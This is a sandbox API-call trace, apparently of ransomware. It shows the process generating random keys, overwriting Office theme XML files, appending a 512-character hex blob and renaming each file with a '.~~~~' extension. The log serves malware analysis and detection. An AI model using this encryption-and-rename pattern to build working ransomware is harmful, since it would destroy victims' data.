	[0122.150] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.150] GetLastError () returned 0x0
	[0122.151] GetLastError () returned 0x0
	[0122.151] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.151] GetLastError () returned 0x0
	[0122.151] GetLastError () returned 0x0
	[0122.153] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.153] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x3c1, lpOverlapped=0x0) returned 1
	[0122.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.154] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.154] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.154] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.154] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.154] CloseHandle (hObject=0x140) returned 1
	[0122.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390098
	[0122.154] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.~~~~")) returned 1
	[0122.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390098 | out: hHeap=0x300000) returned 1
	[0122.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.155] GetLastError () returned 0x0
	[0122.156] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.157] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.157] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.158] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24214776894) returned 1
	[0122.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2493430, dwHighDateTime=0x1d60e1e)) 
	[0122.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b76f8
	[0122.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76f8 | out: hHeap=0x300000) returned 1
	[0122.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5c38
	[0122.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5c38 | out: hHeap=0x300000) returned 1
	[0122.158] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.159] GetLastError () returned 0x0
	[0122.159] GetLastError () returned 0x0
	[0122.159] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.159] GetLastError () returned 0x0
	[0122.159] GetLastError () returned 0x0
	[0122.210] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.210] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x3c0, lpOverlapped=0x0) returned 1
	[0122.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.211] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.212] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.212] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.212] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.212] CloseHandle (hObject=0x140) returned 1
	[0122.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0122.237] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.~~~~")) returned 1
	[0122.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0122.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.239] GetLastError () returned 0x0
	[0122.239] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.241] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.241] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.241] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24223118699) returned 1
	[0122.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2551b10, dwHighDateTime=0x1d60e1e)) 
	[0122.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281eaa8
	[0122.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281eaa8 | out: hHeap=0x300000) returned 1
	[0122.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0122.242] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.242] GetLastError () returned 0x0
	[0122.243] GetLastError () returned 0x0
	[0122.243] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.243] GetLastError () returned 0x0
	[0122.243] GetLastError () returned 0x0
	[0122.261] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffc3a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.261] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x3c6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x3c6, lpOverlapped=0x0) returned 1
	[0122.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0122.263] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.263] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.263] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.263] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.263] CloseHandle (hObject=0x144) returned 1
	[0122.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928398
	[0122.264] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.~~~~")) returned 1
	[0122.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928398 | out: hHeap=0x300000) returned 1
	[0122.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.265] GetLastError () returned 0x0
	[0122.266] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.267] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.267] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.268] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24225771593) returned 1
	[0122.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb25ea090, dwHighDateTime=0x1d60e1e)) 
	[0122.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281eb18
	[0122.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281eb18 | out: hHeap=0x300000) returned 1
	[0122.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5c38
	[0122.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5c38 | out: hHeap=0x300000) returned 1
	[0122.311] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.311] GetLastError () returned 0x0
	[0122.312] GetLastError () returned 0x0
	[0122.312] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.312] GetLastError () returned 0x0
	[0122.312] GetLastError () returned 0x0
	[0122.315] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffc3b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.315] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x3c5, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x3c5, lpOverlapped=0x0) returned 1
	[0122.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0122.317] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.317] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.318] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.318] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.318] CloseHandle (hObject=0x144) returned 1
	[0122.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.321] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.~~~~")) returned 1
	[0122.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.333] GetLastError () returned 0x0
	[0122.334] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.335] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.335] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.335] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24232559612) returned 1
	[0122.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2636350, dwHighDateTime=0x1d60e1e)) 
	[0122.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ebc0
	[0122.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ebc0 | out: hHeap=0x300000) returned 1
	[0122.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0122.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0122.336] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.337] GetLastError () returned 0x0
	[0122.337] GetLastError () returned 0x0
	[0122.337] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.337] GetLastError () returned 0x0
	[0122.337] GetLastError () returned 0x0
	[0122.388] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffffc3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.388] WriteFile (in: hFile=0x148, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x25dfec0*=0x3c1, lpOverlapped=0x0) returned 1
	[0122.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.390] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.390] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.390] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.390] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.390] CloseHandle (hObject=0x148) returned 1
	[0122.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6528
	[0122.391] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.~~~~")) returned 1
	[0122.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6528 | out: hHeap=0x300000) returned 1
	[0122.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0122.392] GetLastError () returned 0x0
	[0122.404] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.405] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.405] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.406] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24239588045) returned 1
	[0122.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb26f4a30, dwHighDateTime=0x1d60e1e)) 
	[0122.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0122.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0122.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0122.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ebc0
	[0122.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ebc0 | out: hHeap=0x300000) returned 1
	[0122.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5848
	[0122.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
